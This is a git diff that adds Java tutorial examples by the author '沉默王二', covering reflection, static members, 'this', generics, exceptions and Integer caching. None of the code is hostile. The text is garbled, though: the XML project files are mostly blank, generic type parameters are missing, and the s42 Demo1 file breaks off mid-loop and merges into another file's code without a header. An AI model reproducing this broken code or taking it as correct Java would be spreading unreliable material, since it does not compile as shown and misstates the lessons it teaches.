com.itwanger.twentyfour; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class MyAbstractDemo extends AbstractDemo { + @Override + void display() { + System.out.println("重写了抽象方法"); + } + + public static void main(String[] args) { + MyAbstractDemo myAbstractDemo = new MyAbstractDemo(); + myAbstractDemo.display(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfour/Person.java b/codes/TechSister/src/main/java/com/itwanger/twentyfour/Person.java new file mode 100644 index 0000000000..eb2a195302 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyfour/Person.java @@ -0,0 +1,36 @@ +package com.itwanger.twentyfour; + +/** + * @author 沉默王二,一枚有趣的程序员 + */ +public class Person { + private String name; + private int age; + private int sex; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public int getAge() { + return age; + } + + public void setAge(int age) { + this.age = age; + } + + public int getSex() { + return sex; + } + + public void setSex(int sex) { + this.sex = sex; + } +} + + diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfour/PredefinedMethodDemo.java b/codes/TechSister/src/main/java/com/itwanger/twentyfour/PredefinedMethodDemo.java new file mode 100644 index 0000000000..1fb9231ccd --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyfour/PredefinedMethodDemo.java @@ -0,0 +1,10 @@ +package com.itwanger.twentyfour; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class PredefinedMethodDemo { + public static void main(String[] args) { + System.out.println("沉默王二,一枚有趣的程序员"); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfour/instanceof1/Test.java b/codes/TechSister/src/main/java/com/itwanger/twentyfour/instanceof1/Test.java new file mode 100644 index 0000000000..f41d394bcf --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyfour/instanceof1/Test.java @@ -0,0 +1,39 @@ +package com.itwanger.twentyfour.instanceof1; + +import cn.hutool.core.lang.Assert; + +import java.util.ArrayList; +import java.util.List; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Test { + public static void main(String[] args) { + Ring ring = new Ring(); + System.out.println(ring instanceof Round); + +Circle circle = new Circle(); +System.out.println(circle instanceof Circle); + + System.out.println(circle instanceof Round); + System.out.println(circle instanceof Shape); +//System.out.println(circle instanceof Triangle); + + +Thread thread = new Thread(); +System.out.println(thread instanceof Object); + } +} +class Round { +} +class Ring extends Round { +} + +interface Shape { +} + +class Circle extends Round implements Shape { +} +class Triangle implements Shape { +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/twentynine/Address.java b/codes/TechSister/src/main/java/com/itwanger/twentynine/Address.java new file mode 100644 index 0000000000..59c5a9e070 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentynine/Address.java @@ -0,0 +1,14 @@ +package com.itwanger.twentynine; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class Address { + String city, state, country; + + public Address(String city, String state, String country) { + this.city = city; + this.state = state; + this.country = country; + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentynine/Employee.java b/codes/TechSister/src/main/java/com/itwanger/twentynine/Employee.java new file mode 100644 index 0000000000..65106eb724 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentynine/Employee.java @@ -0,0 +1,22 @@ +package com.itwanger.twentynine; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class Employee { + String name; + Address address; + + public Employee(String name, Address address) { + this.name = name; + this.address = address; + } + + void out() { + System.out.println(name + " " + address.country + " " + address.state + " " + address.city); + } + + public static void main(String[] args) { + new Employee("沉默王二", new Address("洛阳", "河南", "中国")).out(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyseven/InvokeConstrutor.java b/codes/TechSister/src/main/java/com/itwanger/twentyseven/InvokeConstrutor.java new file mode 100644 index 0000000000..ff3613c3bc --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyseven/InvokeConstrutor.java @@ -0,0 +1,19 @@ +package com.itwanger.twentyseven; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class InvokeConstrutor { + InvokeConstrutor() { + System.out.println("hello"); + } + + InvokeConstrutor(int count) { + this(); + System.out.println(count); + } + + public static void main(String[] args) { + InvokeConstrutor invokeConstrutor = new InvokeConstrutor(10); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyseven/InvokeCurrentClassMethod.java b/codes/TechSister/src/main/java/com/itwanger/twentyseven/InvokeCurrentClassMethod.java new file mode 100644 index 0000000000..9e3da27877 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyseven/InvokeCurrentClassMethod.java @@ -0,0 +1,15 @@ +package com.itwanger.twentyseven; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class InvokeCurrentClassMethod { + void method1() {} + void method2() { + method1(); + } + + public static void main(String[] args) { + new InvokeCurrentClassMethod().method1(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyseven/InvokeParamConstrutor.java b/codes/TechSister/src/main/java/com/itwanger/twentyseven/InvokeParamConstrutor.java new file mode 100644 index 0000000000..4b92f2597a --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyseven/InvokeParamConstrutor.java @@ -0,0 +1,19 @@ +package com.itwanger.twentyseven; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class InvokeParamConstrutor { + InvokeParamConstrutor() { + this(10); + System.out.println("hello"); + } + + InvokeParamConstrutor(int count) { + System.out.println(count); + } + + public static void main(String[] args) { + InvokeParamConstrutor invokeConstrutor = new InvokeParamConstrutor(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyseven/ThisAsConstrutorParam.java b/codes/TechSister/src/main/java/com/itwanger/twentyseven/ThisAsConstrutorParam.java new file mode 100644 index 0000000000..d8aecd34f1 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyseven/ThisAsConstrutorParam.java @@ -0,0 +1,28 @@ +package com.itwanger.twentyseven; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class ThisAsConstrutorParam { + int count = 10; + + ThisAsConstrutorParam() { + Data data = new Data(this); + data.out(); + } + + public static void main(String[] args) { + new ThisAsConstrutorParam(); + } +} + +class Data { + ThisAsConstrutorParam param; + Data(ThisAsConstrutorParam param) { + this.param = param; + } + + void out() { + System.out.println(param.count); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyseven/ThisAsMethodResult.java b/codes/TechSister/src/main/java/com/itwanger/twentyseven/ThisAsMethodResult.java new file mode 100644 index 0000000000..962bce1a5a --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyseven/ThisAsMethodResult.java @@ -0,0 +1,18 @@ +package com.itwanger.twentyseven; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class ThisAsMethodResult { + ThisAsMethodResult getThisAsMethodResult() { + return this; + } + + void out() { + System.out.println("hello"); + } + + public static void main(String[] args) { + new ThisAsMethodResult().getThisAsMethodResult().out(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyseven/ThisAsParam.java b/codes/TechSister/src/main/java/com/itwanger/twentyseven/ThisAsParam.java new file mode 100644 index 0000000000..86cc4cc716 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyseven/ThisAsParam.java @@ -0,0 +1,20 @@ +package com.itwanger.twentyseven; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class ThisAsParam { + void method1(ThisAsParam p) { + System.out.println(p); + } + + void method2() { + method1(this); + } + + public static void main(String[] args) { + ThisAsParam thisAsParam = new ThisAsParam(); + System.out.println(thisAsParam); + thisAsParam.method2(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyseven/WithThisStudent.java b/codes/TechSister/src/main/java/com/itwanger/twentyseven/WithThisStudent.java new file mode 100644 index 0000000000..2cec993fc0 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyseven/WithThisStudent.java @@ -0,0 +1,26 @@ +package com.itwanger.twentyseven; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class WithThisStudent { + String name; + int age; + + WithThisStudent(String name, int age) { + this.name = name; + this.age = age; + } + + void out() { + System.out.println(name+" " + age); + } + + public static void main(String[] args) { + WithThisStudent s1 = new WithThisStudent("沉默王二", 18); + WithThisStudent s2 = new WithThisStudent("沉默王三", 16); + + s1.out(); + s2.out(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyseven/WithoutThisStudent.java b/codes/TechSister/src/main/java/com/itwanger/twentyseven/WithoutThisStudent.java new file mode 100644 index 0000000000..2dfa9e2a5e --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyseven/WithoutThisStudent.java @@ -0,0 +1,26 @@ +package com.itwanger.twentyseven; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class WithoutThisStudent { + String name; + int age; + + WithoutThisStudent(String name, int age) { + name = name; + age = age; + } + + void out() { + System.out.println(name+" " + age); + } + + public static void main(String[] args) { + WithoutThisStudent s1 = new WithoutThisStudent("沉默王二", 18); + WithoutThisStudent s2 = new WithoutThisStudent("沉默王三", 16); + + s1.out(); + s2.out(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentysix/Counter.java b/codes/TechSister/src/main/java/com/itwanger/twentysix/Counter.java new file mode 100644 index 0000000000..2adb1d66f5 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentysix/Counter.java @@ -0,0 +1,21 @@ +package com.itwanger.twentysix; + +import java.io.Serializable; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class Counter implements Serializable { + int count = 0; + + Counter() { + count++; + System.out.println(count); + } + + public static void main(String args[]) { + Counter c1 = new Counter(); + Counter c2 = new Counter(); + Counter c3 = new Counter(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticBlock.java b/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticBlock.java new file mode 100644 index 0000000000..9f0cf29b2a --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticBlock.java @@ -0,0 +1,14 @@ +package com.itwanger.twentysix; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class StaticBlock { + static { + System.out.println("静态代码块"); + } + + public static void main(String[] args) { + System.out.println("main 方法"); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticBlockNoMain.java b/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticBlockNoMain.java new file mode 100644 index 0000000000..635eaf818d --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticBlockNoMain.java @@ -0,0 +1,10 @@ +package com.itwanger.twentysix; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class StaticBlockNoMain { + static { + System.out.println("静态代码块,没有 main"); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticCounter.java b/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticCounter.java new file mode 100644 index 0000000000..1e4dac1bcc --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticCounter.java @@ -0,0 +1,19 @@ +package com.itwanger.twentysix; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class StaticCounter { + static int count = 0; + + StaticCounter() { + count++; + System.out.println(count); + } + + public static void main(String args[]) { + StaticCounter c1 = new StaticCounter(); + StaticCounter c2 = new StaticCounter(); + StaticCounter c3 = new StaticCounter(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticMethodStudent.java b/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticMethodStudent.java new file mode 100644 index 0000000000..9a88fe1e39 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentysix/StaticMethodStudent.java @@ -0,0 +1,33 @@ +package com.itwanger.twentysix; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class StaticMethodStudent { + String name; + int age; + static String school = "郑州大学"; + + public StaticMethodStudent(String name, int age) { + this.name = name; + this.age = age; + } + + static void change() { + school = "河南大学"; + } + + void out() { + System.out.println(name + " " + age + " " + school); + } + + public static void main(String[] args) { + StaticMethodStudent.change(); + + StaticMethodStudent s1 = new StaticMethodStudent("沉默王二", 18); + StaticMethodStudent s2 = new StaticMethodStudent("沉默王三", 16); + + s1.out(); + s2.out(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentysix/Student.java b/codes/TechSister/src/main/java/com/itwanger/twentysix/Student.java new file mode 100644 index 0000000000..8a3164fd3b --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentysix/Student.java @@ -0,0 +1,20 @@ +package com.itwanger.twentysix; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class Student { + String name; + int age; + static String school = "郑州大学"; + + public Student(String name, int age) { + this.name = name; + this.age = age; + } + + public static void main(String[] args) { + Student s1 = new Student("沉默王二", 18); + Student s2 = new Student("沉默王三", 16); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentythree/Person.java b/codes/TechSister/src/main/java/com/itwanger/twentythree/Person.java new file mode 100644 index 0000000000..dfe1cd8e07 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentythree/Person.java @@ -0,0 +1,57 @@ +package com.itwanger.twentythree; + +/** + * @author 沉默王二,一枚有趣的程序员 + */ +public class Person { + private String name; + private int age; + private int sex; + + public Person() { + } + + public Person(String name, int age, int sex) { + this.name = name; + this.age = age; + this.sex = sex; + } + + private void eat() { + + } + + private void sleep() { + + } + + private void dadoudou() { + + } + + public void initialize(String n, int a, int s) { + name = n; + age = a; + sex = s; + } + + public static void main(String[] args) { + Person person = new Person("沉默王二",18,1); + + person.initialize("沉默王二",18,1); + + new Person().initialize("沉默王二",18,1); + + person.name = "沉默王二"; + person.age = 18; + person.sex = 1; + + System.out.println(person.name); + System.out.println(person.age); + System.out.println(person.sex); + + Person person1 = new Person(), person2 = new Person(); + } +} + + diff --git a/codes/TechSister/src/main/java/com/itwanger/twentythree/PersonDemo.java b/codes/TechSister/src/main/java/com/itwanger/twentythree/PersonDemo.java new file mode 100644 index 0000000000..13830630c8 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentythree/PersonDemo.java @@ -0,0 +1,30 @@ +package com.itwanger.twentythree; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class PersonDemo { + public static void main(String[] args) { + Person1 person = new Person1(); + } +} + +class Person1 { + private String name; + private int age; + private int sex; + + private void eat() { + + } + + private void sleep() { + + } + + private void dadoudou() { + + } +} + + diff --git a/codes/TechSister/src/main/java/com/itwanger/twentythree/PersonTest.java b/codes/TechSister/src/main/java/com/itwanger/twentythree/PersonTest.java new file mode 100644 index 0000000000..beceb7e7a5 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentythree/PersonTest.java @@ -0,0 +1,12 @@ +package com.itwanger.twentythree; + +import java.util.*; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class PersonTest { + public static void main(String[] args) { + Person person = new Person(); + } +} diff --git a/codes/TechSister/src/main/resources/hutool/example.setting b/codes/TechSister/src/main/resources/hutool/example.setting new file mode 100644 index 0000000000..616c728ec1 --- /dev/null +++ b/codes/TechSister/src/main/resources/hutool/example.setting @@ -0,0 +1,2 @@ +name=沉默王二 +age=18 \ No newline at end of file diff --git a/codes/TechSister/src/main/resources/hutool/origin.txt b/codes/TechSister/src/main/resources/hutool/origin.txt new file mode 100644 index 0000000000..24246e693a --- /dev/null +++ b/codes/TechSister/src/main/resources/hutool/origin.txt @@ -0,0 +1 @@ +沉默王二,一枚沉默但有趣的程序员 \ No newline at end of file diff --git a/codes/TechSister/src/main/resources/hutool/wangsan.jpg b/codes/TechSister/src/main/resources/hutool/wangsan.jpg new file mode 100644 index 0000000000..4167a4feed Binary files /dev/null and b/codes/TechSister/src/main/resources/hutool/wangsan.jpg differ diff --git a/codes/java8demo/.classpath b/codes/java8demo/.classpath new file mode 100644 index 0000000000..1b799f388f --- /dev/null +++ b/codes/java8demo/.classpath @@ -0,0 +1,49 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/codes/java8demo/.project b/codes/java8demo/.project new file mode 100644 index 0000000000..848bef6a4c --- /dev/null +++ b/codes/java8demo/.project @@ -0,0 +1,34 @@ + + + java8demo + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.m2e.core.maven2Builder + + + + + + org.eclipse.jdt.core.javanature + org.eclipse.m2e.core.maven2Nature + + + + 1630030652836 + + 30 + + org.eclipse.core.resources.regexFilterMatcher + node_modules|.git|__CREATED_BY_JAVA_LANGUAGE_SERVER__ + + + + diff --git a/codes/java8demo/java8demo.iml b/codes/java8demo/java8demo.iml new file mode 100644 index 0000000000..78b2cc53b2 --- /dev/null +++ b/codes/java8demo/java8demo.iml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/codes/java8demo/pom.xml b/codes/java8demo/pom.xml new file mode 100644 index 0000000000..115ee759ff --- /dev/null +++ b/codes/java8demo/pom.xml @@ -0,0 +1,24 @@ + + + 4.0.0 + + org.example + java8demo + 1.0-SNAPSHOT + + + + org.apache.maven.plugins + maven-compiler-plugin + + 7 + 7 + + + + + + + \ No newline at end of file diff --git a/codes/java8demo/src/main/java/com/itwanger/s39/Hello.java b/codes/java8demo/src/main/java/com/itwanger/s39/Hello.java new file mode 100644 index 0000000000..b3fa7bd2ef --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s39/Hello.java @@ -0,0 +1,8 @@ +package com.itwanger.s39; + +public class Hello { + public static void main(String[] args) { + System.out.println("hello world"); + } + +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s39/ReflectionDemo1.java b/codes/java8demo/src/main/java/com/itwanger/s39/ReflectionDemo1.java new file mode 100644 index 0000000000..2e4e5244a1 --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s39/ReflectionDemo1.java @@ -0,0 +1,31 @@ +package com.itwanger.s39; + +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class ReflectionDemo1 { + public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, + InvocationTargetException, InstantiationException { + Writer writer = new Writer(); + writer.setName("沉默王二"); + System.out.println(writer.getName()); + + Class clazz = Class.forName("com.itwanger.s39.Writer"); + Constructor constructor = clazz.getConstructor(); + Object object = constructor.newInstance(); + + // Method setNameMethod = clazz.getMethod("setName", String.class); + // setNameMethod.invoke(object, "沉默王二"); + // Method getNameMethod = clazz.getMethod("getName"); + // System.out.println(getNameMethod.invoke(object)); + + Method setAgeMethod = clazz.getMethod("setAge", int.class); + for (int i = 0; i < 20; i++) { + setAgeMethod.invoke(object, 18); + } + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s39/ReflectionDemo2.java b/codes/java8demo/src/main/java/com/itwanger/s39/ReflectionDemo2.java new file mode 100644 index 0000000000..140a7bdfbd --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s39/ReflectionDemo2.java @@ -0,0 +1,20 @@ +package com.itwanger.s39; + +import java.lang.reflect.Method; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class ReflectionDemo2 { + public static void target(int i) { + new Exception("#" + i).printStackTrace(); + } + + public static void main(String[] args) throws Exception { + Class klass = Class.forName("com.itwanger.s39.ReflectionDemo2"); + Method method = klass.getMethod("target", int.class); + for (int i = 0; i < 20; i++) { + method.invoke(null, i); + } + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s39/ReflectionDemo3.java b/codes/java8demo/src/main/java/com/itwanger/s39/ReflectionDemo3.java new file mode 100644 index 0000000000..06dac278c7 --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s39/ReflectionDemo3.java @@ -0,0 +1,52 @@ +package com.itwanger.s39; + +import java.io.PrintStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class ReflectionDemo3 { + public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException { +//Class c1 = Class.forName("com.itwanger.s39.ReflectionDemo3"); +//System.out.println(c1.getCanonicalName()); +// +//Class c2 = Class.forName("[D"); +//System.out.println(c2.getCanonicalName()); +// +//Class c3 = Class.forName("[[Ljava.lang.String;"); +//System.out.println(c3.getCanonicalName()); + +//Class c1 = ReflectionDemo3.class; +//System.out.println(c1.getCanonicalName()); +// +//Class c2 = String.class; +//System.out.println(c2.getCanonicalName()); +// +//Class c3 = int[][][].class; +//System.out.println(c3.getCanonicalName()); + +Class c1 = Writer.class; +Writer writer = (Writer) c1.newInstance(); + +Class c2 = Class.forName("com.itwanger.s39.Writer"); +Constructor constructor = c2.getConstructor(); +Object object = constructor.newInstance(); + +Constructor[] constructors1 = String.class.getDeclaredConstructors(); +for (Constructor c : constructors1) { + System.out.println(c); +} + + Method[] methods1 = System.class.getDeclaredMethods(); + for (Method m : methods1) { + System.out.println(m); + } + Method[] methods2 = System.class.getMethods(); + for (Method m : methods2) { + System.out.println(m); + } + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s39/Writer.java b/codes/java8demo/src/main/java/com/itwanger/s39/Writer.java new file mode 100644 index 0000000000..de14b893f1 --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s39/Writer.java @@ -0,0 +1,25 @@ +package com.itwanger.s39; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Writer { + private int age; + private String name; + + public int getAge() { + return age; + } + + public void setAge(int age) { + this.age = age; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s41/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s41/Demo.java new file mode 100644 index 0000000000..8ea4967a20 --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s41/Demo.java @@ -0,0 +1,10 @@ +package com.itwanger.s41; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Demo { + public static void main(String[] args) { + System.out.println(10/0); + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s41/Demo1.java b/codes/java8demo/src/main/java/com/itwanger/s41/Demo1.java new file mode 100644 index 0000000000..8f2167d148 --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s41/Demo1.java @@ -0,0 +1,24 @@ +package com.itwanger.s41; + +import java.io.File; +import java.io.IOException; +import java.net.Socket; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Demo1 { + public static void main(String[] args) throws ClassNotFoundException { + Class clz = Class.forName("com.itwanger.s41.Demo1"); + + String serverName = args[0]; + int port = Integer.parseInt(args[1]); + try { + Socket client = new Socket(serverName, port); + } catch (IOException e) { + + } + } + + +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s41/Demo2.java b/codes/java8demo/src/main/java/com/itwanger/s41/Demo2.java new file mode 100644 index 0000000000..bbfac33577 --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s41/Demo2.java @@ -0,0 +1,47 @@ +package com.itwanger.s41; + +import java.io.IOException; +import java.io.OutputStream; +import java.net.Socket; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Demo2 { + private String mHost; + private int mPort; + private Socket mSocket; + private final Object mLock = new Object(); + + public void run() { + if (mSocket == null) { + initSocket(); + } + try { + OutputStream out = mSocket.getOutputStream(); + byte[] buffer = new byte[1024]; + int n; + while ((n = System.in.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } catch (IOException e) { + e.printStackTrace(); + initSocket(); + } + } + + private void initSocket() { + while (true) { + try { + Socket socket = new Socket(mHost, mPort); + synchronized (mLock) { + mSocket = socket; + } + break; + } catch (IOException e) { + e.printStackTrace(); + } + } + + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s42/Demo1.java b/codes/java8demo/src/main/java/com/itwanger/s42/Demo1.java new file mode 100644 index 0000000000..196b491740 --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s42/Demo1.java @@ -0,0 +1,88 @@ +package com.itwanger.s42; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Demo1 { + static int num = 1000000; + public static void main(String[] args) { +// tryFun(); +// fun(); + test1();test2(); + } + + + static void tryFun() { + int sum = 0; + long t1 = System.currentTimeMillis(); + for(int i=0;i list) { + System.out.println("Arraylist list"); + } +// +// public static void method(ArrayList list) { +// System.out.println("Arraylist list"); +// } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s46/Cmower1.java b/codes/java8demo/src/main/java/com/itwanger/s46/Cmower1.java new file mode 100644 index 0000000000..70b0e80b35 --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s46/Cmower1.java @@ -0,0 +1,15 @@ +package com.itwanger.s46; + +import java.util.ArrayList; +import java.util.Date; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Cmower1 { + public static void method(String list) { + } + + public static void method(Date list) { + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s46/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s46/Demo.java new file mode 100644 index 0000000000..1e80a6aa3e --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s46/Demo.java @@ -0,0 +1,26 @@ +package com.itwanger.s46; + +import java.util.ArrayList; +import java.util.Date; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Demo { + public static void main(String[] args) { +ArrayList ints = new ArrayList(); +ArrayList strs = new ArrayList(); +ArrayList list; +list = ints; +list = strs; + +System.out.println(ints.getClass()); +System.out.println(strs.getClass()); + + ArrayList list1 = new ArrayList(); + list.add("沉默王二"); + list.add(new Date()); + + String s = (String) list.get(1); + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s47/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s47/Demo.java new file mode 100644 index 0000000000..47bc8ae864 --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s47/Demo.java @@ -0,0 +1,24 @@ +package com.itwanger.s47; + +import java.util.HashMap; +import java.util.Map; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Demo { + public static void main(String[] args) { + Object obj; + HashMap map; + + Student s1 = new Student(18, "张三"); + Map scores = new HashMap(); + scores.put(s1, 98); + + Student s2 = new Student(18, "张三"); + System.out.println(scores.get(s2)); + + System.out.println(s1.hashCode()); + System.out.println(s2.hashCode()); + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s47/Student.java b/codes/java8demo/src/main/java/com/itwanger/s47/Student.java new file mode 100644 index 0000000000..0ad24a325c --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s47/Student.java @@ -0,0 +1,28 @@ +package com.itwanger.s47; + +import java.util.Objects; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class Student { + private int age; + private String name; + + public Student(int age, String name) { + this.age = age; + this.name = name; + } + + @Override + public boolean equals(Object o) { + Student student = (Student) o; + return age == student.age && + Objects.equals(name, student.name); + } + + @Override + public int hashCode() { + return Objects.hash(age, name); + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s50/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s50/Demo.java new file mode 100644 index 0000000000..0ac603b6cb --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s50/Demo.java @@ -0,0 +1,19 @@ +package com.itwanger.s50; + +import java.util.*; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Demo { + public static void main(String[] args) { + Stack stack; + ArrayDeque arrayDeque; + PriorityQueue priorityQueue; + HashSet hashSet; + LinkedHashSet linkedHashSet; + TreeSet treeSet; + ArrayDeque arrayDeque1; + HashMap hashMap; + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s51/AssertTest.java b/codes/java8demo/src/main/java/com/itwanger/s51/AssertTest.java new file mode 100644 index 0000000000..bf92fafc92 --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s51/AssertTest.java @@ -0,0 +1,11 @@ +package com.itwanger.s51; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class AssertTest { + public static void main(String[] args) { + int high = 126; + assert high >= 127; + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s51/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s51/Demo.java new file mode 100644 index 0000000000..b0469ac953 --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s51/Demo.java @@ -0,0 +1,22 @@ +package com.itwanger.s51; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Demo { + public static void main(String[] args) { +Integer x = new Integer(18); +Integer y = new Integer(18); +System.out.println(x == y); +Integer z = Integer.valueOf(18); +Integer k = Integer.valueOf(18); +System.out.println(z == k); + +Integer m = Integer.valueOf(300); +Integer p = Integer.valueOf(300); +System.out.println(m == p); + +Short short1; +Long long1; + } +} diff --git a/codes/java8demo/src/main/java/com/itwanger/s52/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s52/Demo.java new file mode 100644 index 0000000000..5f95692500 --- /dev/null +++ b/codes/java8demo/src/main/java/com/itwanger/s52/Demo.java @@ -0,0 +1,26 @@ +package com.itwanger.s52; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Demo { + public static void main(String[] args) { + logn(100); + } + +public static int 